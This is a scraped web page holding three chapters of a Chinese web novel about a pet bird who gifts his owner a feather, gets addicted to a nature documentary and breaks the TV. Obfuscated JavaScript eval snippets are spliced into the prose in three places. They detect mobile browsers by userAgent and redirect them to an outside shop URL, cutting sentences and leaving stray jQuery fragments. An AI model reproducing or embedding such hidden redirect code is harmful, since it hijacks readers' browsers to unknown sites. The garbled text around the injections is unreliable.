而此时此刻,那只鹦鹉正站在架子上,歪着脑袋打量他,他的羽毛油光水滑,看起来就被养的很好。 元呼呼蹲在顾晏肩膀上,也歪着脑袋打量那只鹦鹉。 两只鸟大眼瞪小眼,谁都没有开口说话。 过了片刻,顾晏和朋友有事要商谈,便将元呼呼放到了客厅桌子上,让他自由活动。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278771|198323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 元呼呼百无聊赖,心血来潮飞到了灰鹦鹉旁边打算观察一下这只和他有点不一样的同类,突然发现那只鹦鹉正对着他挤眉弄眼。 元呼呼:⊙▽⊙ 干嘛…… 就在他觉得这只鸟不太正经想要飞走的时候,那只灰鹦鹉却突然开口了。 “你好。”它说。 元呼呼被这句突如其来的人声吓了一跳,眼神变得惊疑不定。 这只鸟怎么也会说话? 要知道虽然小鸟之间都可以无障碍交流,但那是鸟语,至少在元呼呼记忆里,真正可以像人类一样开口说话的存在只有自己。 他自认为自己是天命之啾,小心翼翼保守了这个秘密很久,没想到今天就遇到了第二只可以说话的小鸟,他甚至还敢在大庭广众之下开口说话。 元呼呼的天塌了,心也碎了。 就在他黯然神伤的时候,灰鹦鹉又开口了。 “你好” 元呼呼:“……” 看不出来自己不想理他嘛。 灰鹦鹉坚持不懈:“你叫什么?” 这次切换成了鸟语。 元呼呼不想跟他说话,但人话可以装听不懂,鸟话却不行,于是不情不愿地啾了一声。 元呼呼。 “圆乎乎?”灰鹦鹉歪着脑袋,“这名字有意思,是因为你长得圆吗?” 元呼呼立刻炸毛:“我才不圆!” “好好好,不圆不圆。”灰鹦鹉笑得直抖,“我叫小灰灰,今年五岁了,我主人对我可好了,每天给我做好吃的,还给我买了好多玩具。” 元呼呼顺着它的目光看过去,果然发现了一堆漂亮的玩具,心里有点酸溜溜的。 讨厌的大胖鹦鹉,谁问你了。 “你主人对你怎么样?”小灰灰问。 元呼呼赶紧点头:“当然好了,他不仅愿意养我,还替我养了我好多好多好朋友呢。” 小灰灰凑近了一点:“那你可真幸运,我跟你说,能遇到一个好主人可不容易,我以前有个朋友,它主人三天两头忘记喂食,后来它生病了,主人嫌看病贵,直接把它扔了……” 元呼呼听得心惊肉跳:“扔了?” “对啊。”小灰灰叹了口气,语气里难得有了几分伤感,“所以我现在特别珍惜我主人……” 元呼呼本来就不是一只小心眼的鸟,在话痨鸟小灰灰的持续输出下,两个人之间的隔阂迅速消解,最后甚至聊得停不下来。 在第n次听到小灰灰强调主人对自己有多好后,元呼呼没忍住提出了一个问题。 “那如果是你,会给主人送什么礼物呢?” 小·只会卖萌·灰·从不送礼·灰面对新朋友的信任目光,难得卡壳了。 为了面子,他艰难在脑海里搜索了一下贫瘠的知识,翅膀一挥,回答斩钉截铁。 “你就把你的羽毛送给他吧!” 10. 十团糯米糍 把我的羽毛送给他? 元呼呼听到这个建议,第一个想法是怀疑。 他低头看了看自己精心呵护养出来的一身漂亮羽毛,有点纠结。 “你确定?” “我确定。”小灰灰已经成功把自己说服,语气越来越自信,“你看啊,你主人对你这么好,你不得送点有意义的东西。羽毛多好啊,是你身体的一部分,代表着你们之间深厚的感情,我要是有漂亮的羽毛,我肯定送给我主人。” 元呼呼总觉得哪里不对劲,但又说不出具体是哪里。 他迟疑地问:“那你送过吗?” 小灰灰激昂的演讲瞬间卡壳,鸟脸上浮现一丝心虚。 “那个,我浑身黑漆漆的,羽毛颜色不吉利……” 元呼呼:…… 所以你是理论派,让我当实践派是吧。 两只鸟大眼瞪小眼,对视片刻,小灰灰率先移开视线,若无其事地转移话题:“哎呀你看今天的天气真好啊哈哈哈哈哈……” 元呼呼看着他这幅模样,差点想把小灰灰和他的建议一起打包丢出去。 但转念一想,他又觉得小灰灰说得还是有点道理的,羽毛确实算他身体的一部分,是他最珍贵的东西之一。 而且他的毛多漂亮,外面的人想要还拿不到呢。 这么一想,元呼呼心里的疑虑就消散了大半。 他美滋滋地盘算起来,等回家就把他最漂亮的那根羽毛找出来,送给顾晏,让两脚兽知道什么叫做小鸟的真心。 一人一鸟的拜访在说笑声中结束。 回家的路上,元呼呼蹲在顾晏肩膀上,脑子里全是送羽毛的事。 他迫不及待地想回家实施这个伟大的计划,可惜顾晏不紧不慢地开着车,还顺路去超市买了点东西,磨蹭了半天才到家。 一进门,元呼呼就从他肩膀上飞下来,直接冲进了笼子里。 顾晏被他的举动弄得一愣:“这么积极回笼子里,你是不是又准备背着我搞什么坏事?” 元呼呼没空反驳顾晏的污蔑,埋头在笼子里翻找起来。 他住进新窝后特意回了一趟麻雀群,那里有他的小窝,小窝里藏着他掉落的所有漂亮羽毛,毛茸茸地铺成一块蓝宝石毛毯,都被他勤勤恳恳搬运到了新笼子里藏起来。 元呼呼可以骄傲的说,纵观整个鸟群,就没有比他更富裕的存在。 而现在,小鸟富翁正挑剔地在羽毛堆里寻找梦中情羽。 他啄起一根,看了看,不满意,丢掉。 又啄起一根,还是不满意,再丢掉。 连续啄了七八根,他终于找到一根满意的。 这根羽毛颜色很正,是那种浅浅的湖水蓝,没有一丝杂色,羽杆笔直,羽片完整,一看就能看出小鸟高贵独特的血统。 完美! 元呼呼叼着羽毛,兴奋地从笼子里飞出来,落在顾晏面前。 顾晏正准备给元呼呼添粮,就看到小胖鸟叼着一根羽毛,仰着脑袋,眼睛亮晶晶地望着他。 “啾啾啾!”他含糊不清地叫了两声,把羽毛往顾晏手边递了递。 顾晏目光落到羽毛上,难得有点怔愣。 “给我的?” 元呼呼啾啾两声,还不忘挺了挺毛茸茸的小胸脯。 没错,就是给你的,惊不惊喜,意不意外,有我这样知恩图报宠两脚兽的小鸟,你就偷着乐吧! 顾晏得到答复,赶紧伸手接过那根羽毛,仔细看了看。 不愧是他养的小鸟,这羽毛的确漂亮的很,比起朋友家黑乎乎的小鸟看起来观赏性强多了。 在心里暗暗比较一番,顾晏又将目光移至面前眼巴巴望着他的小东西,唇角不自觉弯了弯。 “那就谢谢圆乎乎的礼物了。” 元呼呼听到谢谢两个字,整只鸟都飘了。 两脚兽说谢谢,谢谢的潜台词不就是喜欢。 真是的,这么含蓄干什么,要不是他聪明,都听不出来他多为小鸟着迷! 他兴奋地在桌上蹦了两下,又飞起来绕着顾晏转了两圈,嘴里“啾啾啾”叫个不停。 顾晏始终记得他们的初见,有点担心他等会飞累了直接栽下来,干脆伸手把他抓住,轻轻挠起他的下巴。 元呼呼舒服得闭上眼睛,砸吧起小嘴巴,感觉像在做鸟界spa,爽爆了。 这一刻,他觉得小灰灰的建议简直是天才,下定决心下次一定要好好感谢他。 没过多久,那根羽毛就神秘地出现在了顾晏的办公桌上,被用架子支着,还有玻璃罩隔着,看起来像是什么稀世珍宝一样。 元呼呼心里高兴,飞去顾晏办公桌的频率也显著提升。 顾晏意外发现这个玻璃罩成了小鸟诱捕器一样的存在,自然是乐见其成。 虽然他不是很想时时刻刻和元呼呼腻在一起,但这不是正好方便他监督元呼呼有没有干坏事。 元呼呼不知道顾晏的想法,自顾自地美滋滋。 两脚兽把他的羽毛放在桌上,天天都能看到,等于天天都能想到他,这不是爱是什么。 过了两天,顾晏去上班,顺带捎上了他和他的玻璃罩。 到了公司,元呼呼就蹲在顾晏肩膀上,神气活现地巡视着办公区,丝毫没有上次来时的害羞模样。 那群两脚兽又围上来,对着他叽叽喳喳。 “哎呀,呼呼今天好精神啊。” “那句话叫什么来着,看得出他是公主,哈哈哈哈。” “这种嘴上说着不养宠物的人养起宠物来最舍得花钱了。” …… 元呼呼听得心花怒放,挺着小胸脯,昂首阔步在顾晏肩膀上蹦来蹦去,像节小弹簧一样。 顾晏知道他小脾气,由着他嘚瑟,直到进了办公室才把他放下来。 元呼呼不知道顾晏带他来公司干嘛,但很会自娱自乐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17278772|198323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这里啄啄,那里咬咬,反正闲不下来。 直到中午,顾晏的朋友带着灰鹦鹉来了,他才恍然大悟顾晏的目的。 原来是怕鸟无聊,带鸟来见朋友,人还怪好的捏。 他从桌子上飞起来,打算去和小灰灰打个招呼。 徐皓领着爱宠一进门,第一眼就注意到顾晏桌上摆着的玻璃罩,他愣了一下,先是领会到顾晏摆出来暗戳戳向他炫耀的小心思,紧接着就露出一个意味深长的笑容。 “哟,顾晏,这是什么?” 顾晏头也不抬:“羽毛。” “我当然知道是羽毛,”朋友凑近了看,“这是你家小朋友的羽毛吧?” 顾晏心里暗暗诧异徐皓今天这么识趣,自然地抬头回话:“嗯,他前两天送我的。” “他送你?”徐皓的笑容更意味深长了,“你知道鹦鹉送羽毛是什么意思吗?” 顾晏的动作顿了一下,显然没猜中徐皓的反应。 还能有什么意思,不就是表达喜爱吗? 一人一宠的目光同时落在徐皓身上。 徐皓笑着说:“鹦鹉把自己的羽毛送给别人,那可是求偶的意思,相当于人类送玫瑰花,你这小鸟是在跟你表白呢。” 顾晏:“……” 元呼呼:(((o(*°▽°*)o)))? 求偶? 他送给顾晏羽毛的时候,可完全没往这方面想啊。 他就是想表达一下感谢,想让两脚兽知道他是个懂得感恩的好鸟,怎么就变成求偶了! 元呼呼急得在桌子上直蹦跶。 不是的不是的,你们人类不要瞎解读,小鸟没有那个意思! 可惜他只是一个鸟界小秤砣,即使引发鸟界地震也不能撼动两脚兽分毫。 徐皓还在持续输出:“看不出来啊顾晏,你这魅力可以啊,连小鸟都拜倒在你的西装裤下了。” 顾晏沉默了两秒,面无表情地开口:“你想多了,他就是只小傻鸟,什么都不懂。” 元呼呼:??? 你说谁傻! “那可不一定,”朋友笑得更大声了,“鹦鹉的智商可不低,我家小灰灰平日里就可机灵了。” 元呼呼:“啾啾啾!” 还笑呢,你家小灰灰最傻! 顾晏的眉头皱了起来。 他看了看桌上那根羽毛,又看了看桌子上瞪着一双黑豆眼的小胖鸟,陷入了沉思。 徐皓走后,办公室里陷入了一种诡异的沉默。 元呼呼蹲在桌子上,气成一团球了。 过了好一会,顾晏忽然站起身,把元呼呼拎起来,托到手心里。 元呼呼目光炯炯,等待属于自己的道歉。 顾晏嘴唇蠕动两下,不中听的话流了出来。 “圆乎乎,你不傻是不是,你只是一只文盲鸟。” 元呼呼:? 666,还有第二关。 11.十一团糯米糍 文盲你个大头鬼啊! 元呼呼疯狂啾啾啾,对这个称呼极度不满。 顾晏看着他那双写满不服气的黑豆眼,有点犯愁。 “羽毛送人是求偶的意思,你不知道吧?” 元呼呼摇头。 这个他是真的不知道啊。 顾晏一副了然的姿态:“我就知道。” 他把元呼呼放到桌子上,转身回了工位。 元呼呼盯着他的一举一动,没想明白他想干什么。 过了会,他看到顾晏从旁边的抽屉里取出一台平板,敲击了几下,随后抬起头来招呼他:“圆乎乎,过来。” 元呼呼犹豫了一下,没有直接飞到他面前,选择落在了顾晏肩膀上。 “啾啾啾。” 叫我干嘛。 顾晏把平板支起来,正对着他放好。 屏幕上,一只鹦鹉正在吃水果,旁边配着大字:《鹦鹉行为科普》 元呼呼:? 怎么,你还想教我做鸟不成? 顾晏点开视频。 视频里出现一只漂亮的小鸟,同时响起的,还有画外音对小鸟行为的各种科普。 元呼呼最先开始还有点新鲜劲,听了几句后,兴致缺缺起来。 无聊的主人,无聊的纪录片,这种东西,鸟都不看! 顾晏看他这个反应,有点头疼。 看来元呼呼不喜欢看这个。 难道是因为科普片太无聊,毕竟他现在和小朋友也没什么区别。 想通这一点,他关掉科普片,重新寻找起来。 元呼呼看着面前消失的画面,歪了歪脑袋。 这又是要干嘛。 一个新的视频被点开。 是一部名叫《蓝色星球》的纪录片。 开篇就是一片蔚蓝,一群色彩斑斓的鱼从镜头前游过。 元呼呼的眼睛一下子亮了。 好肥的鱼! 顾晏看着他的反应,满意地点了点头。 果然教育还是要循序渐进。 “喜欢看?” 元呼呼开心地应和。 那可不,他不仅喜欢看,还喜欢吃呢。 顾晏弯了弯唇角:“那就看吧,每天看一会,总有一天能看到鸟类。” 他把元呼呼放到桌上,又把平板屏幕调整了一下,确保他能看清楚,这才继续去忙自己的工作。 元呼呼蹲在桌上,盯着屏幕,看得目不转睛。 太勾引鸟了。 这是什么地方,怎么会有这么多鱼,看起来好肥,不知道吃进嘴里是什么味道。 他还没吃过鱼呢,听别的小鸟说鱼肉特别好吃。 看得入了迷,元呼呼连顾晏什么时候带他回家的都不知道。 次日,在元呼呼的强烈要求下,顾晏又带他去了公司。 一进办公室,元呼呼就飞到桌上,眼巴巴地盯着平板。 顾晏看他眼珠子滴溜滴溜转,总算猜到他今天为什么这么积极催他出门。 “还想看?” 元呼呼眼睛一亮,在平板上跳了一下。 要看要看。 顾晏爽快地打开平板,找到《蓝色星球》,继续播放。 元呼呼立刻凑过去,看得津津有味,看到感动的地方,眼泪都要从嘴角流下来了。 好想吃,啾啾。 整整一天,除了吃饭的时候,元呼呼的眼睛就没离开过屏幕。 顾晏看着他那副痴迷的样子,心里隐隐有些担忧。 这傻鸟,不会看上瘾了吧? 事实证明,顾晏的担忧是对的。 从那以后,元呼呼彻底迷上了看纪录片。 每天早上起来,他第一件事就是飞到顾晏房间,用嘴巴给他强行开机,催促他带他去公司。 顾晏一开始还挺高兴,觉得他有个爱好也不错,但在连续几次天蒙蒙亮就被元呼呼从睡梦中啄醒后,他终于决定要帮他戒掉网瘾。 再不戒,这日子就过不下去了。 元呼呼网瘾正浓,当然不干,两个人拉扯一番后,他眼睛一转,干脆选择待在家里不去公司了。 眼见时间一点一点过去,再不出门就要迟到了,顾晏终于妥协,一个人去上班了。 别说,这么多天有人陪着,突然又变成孤身寡人,他竟然还有点不习惯。 想到这,顾晏叹了一口气,决定回去后和元呼呼重新商量一下,就算要看也不能一直看啊,最多一天两个小时。 客厅里,元呼呼看着顾晏出门,嘴角勾起一抹神秘的笑。 他鬼鬼祟祟挪了两步,轻巧落在电视柜上,凑近电视机,仔细研究起来。 别以为他不知道,电视一样可以看视频。 他之前到处流浪的时候就看到过,有人会拿一个小方块,对着电视按一下,然后电视就打开了。 那个小方块还有个高级的名字,叫遥控器。 元呼呼在电视柜上找了找,很快就看到了想要的东西。 他凑过去,用爪子扒拉了一下。 遥控器不听他的使唤,滚了两圈,掉到地上。 元呼呼:…… 他低头看了看地上的遥控器,又看了看自己的爪子,有点懊恼。 怎么这么不小心,遥控器摔坏了怎么办。 他赶紧飞下去,把遥控器叼起来,翻来覆去检查了一下。 唔,看起来好像没事? 站在遥控器旁边,元呼呼用爪子按住它,然后用喙去啄那个红色的按钮。 “叮。” 电视屏幕亮了。 五颜六色的画面和字映入元呼呼眼帘,让他有点头昏脑胀。 他要看的在哪来着。 扫视一圈没看到,他干脆随便在遥控器上按了起来,反正总会按到的。 功夫不负有心鸟,在按了不知道多少下后,一个熟悉的画面出现在电脑屏幕上。 元呼呼眼睛一下子亮了,伸出爪子又扒拉两下,《蓝色星球》开始播放。 他成功了! 元呼呼兴奋得在电视前上飞了两圈,然后转身回到沙发上,舒舒服服地坐下来,开始看电视。 虽然不记得是怎么调到这里的,但是没关系,小鸟多的是时间和力气,下次他就继续这样看电视。 从那天起,元呼呼就开始了他的小皇帝生活。 每天白天,等顾晏出门,他就飞到电视前一通捣鼓, 一开始他怕被顾晏发现,看一会就要暂停休息一下,装模作样对着空气打一套组合拳。 后面见没人注意到,元呼呼就大胆起来,开始沉迷电视无法自拔。 直到某一天,元呼呼照例躺着看电视,却突然听到门外传来隐约的声响。 他的心猛地一跳。 难道是顾晏回来了? 他赶紧跳下沙发,扑棱扑棱飞到电视前,想去关电视。 就在这时,意外发生了。 由于太过着急,元呼呼落地的时候没踩稳,一头撞到了遥控器上。 遥控器从柜子边缘滑落,他本能地伸爪子去抓,结果跟着遥控器一起掉了下去。 “啾!” 他发出一声惊叫,翅膀胡乱扑腾,最后“啪叽”一声摔在地上。 摔得七荤八素。 他晕乎乎地爬起来,晃了晃脑袋,第一反应是去看房门。 门还关着。 顾晏没回来。 元呼呼长出一口气,揉了揉被撞疼的地方,准备去捡遥控器。 结果还没等他行动,电视屏幕闪了两下,黑了。 元呼呼瞪目结舌。 他凑过去,用爪子扒拉了两下电视。 没反应。 他又叼起地上的遥控器,对着电视按了几下。 依然没反应。 元呼呼的脑子里“嗡”的一声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17282993|198323||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 完蛋了,鸟的天,这电视好像坏了啊。 他呆呆地站在电视前,看着犯罪现场,脑子都要转不动了。 怎么办怎么办怎么办? 两脚兽要是知道了,不会让他出去打工赔钱吧。 想到这,元呼呼感觉身体都沉重起来了。 被无形的债务压弯了腰。 他赶紧把遥控器叼回原来的位置,又检查了一遍电视周围,确保没有留下什么痕迹,随后若无其事地飞到阳台上晒太阳。 鸟什么事都没有干哦。 心里这么安慰自己,但元呼呼还是觉得不保险,时不时瞥一眼客厅,吃饭都不香了。 “你是不是又忘交电费了!” 不远处传来的声音吸引了他的注意。 元呼呼竖起耳朵。 他记得那户人家住着一对年轻的两脚兽,女的嗓门很大,男的总是板着脸,看起来凶巴巴的。 “交了,我早就交了好吧。” “那怎么停电了?” “我怎么知道,可能是跳闸了吧。” “跳闸了你去看看啊。” “我看了有什么用,我又不会修。” 两个人你一句我一句,吵得不可开交。 “你不用电?你吃饭洗澡哪样不要电?你那脑子是不是进水了?” “你脑子才进水了。” “你再说一遍。” “我说你脑子进水了。” “啪!” 一声脆响。 元呼呼吓了一跳。 打起来了? 他赶紧伸长脖子往那边看,可惜窗帘紧紧拉着,什么都看不见,只能听到声音。 女的在哭,男的在骂,乱七八糟的。 过了好一会,动静渐渐小了。 元呼呼缩回脑袋,心还在扑通扑通跳。 好可怕。 两脚兽打架好可怕。 他忽然有点庆幸,他家这个两脚兽虽然有时候坏坏的,但从来不会这样。 最多就是弹他一下,说他是笨鸟。 想到顾晏,元呼呼又头疼起来。 没交电费都这么吓人,那要是顾晏知道他把电视弄坏了呢。 忽然,元呼呼脑子里灵光一闪。 反正两脚兽又不知道发生了什么,与其坐以待毙,不如直接主动出击呗。 他深吸一口气,开始在心里排练待会的表演。 先假装什么都不知道,让顾晏给他开电视看。 等顾晏发现电视坏了,他就露出惊讶的表情。 要是顾晏问他,他就歪歪脑袋,装作不知道。 最糟糕的发展就是顾晏怀疑他,到时候他就哭,然后直接嫁祸给顾晏。 排练完毕,元呼呼满意地点了点头。 完美。 他现在只需要等顾晏回来,然后按计划行事。 他蹲在阳台上,等啊等,等到天色暗了下来,终于看到那辆熟悉的黑色轿车驶进小区。 他精神一振,赶紧飞回屋里,若无其事地蹲在笼子里,假装自己一下午都在乖乖睡觉。 门锁转动的声音响起。 元呼呼的心跳不受控制地加速。 顾晏推门进来,手里还拎了个袋子。 他换好鞋,走进客厅,随手把袋子放到桌上。 随后他的目光就落在电视上,像是发现了什么不对劲。 拿起遥控器,他试着按了两下,没有反应。 “坏了?” 疑惑的声音在寂静的房间里响起。 就是现在! 元呼呼赶紧从笼子里飞出来,落在顾晏肩膀上,歪着脑袋看向电视,发出一声疑惑的“啾”。 顾晏偏头看了他一眼,这次是陈述句:“电视坏了。” 元呼呼又“啾”了一声,这回声音里满是悲伤。 你说这电视,怎么就突然坏了呢?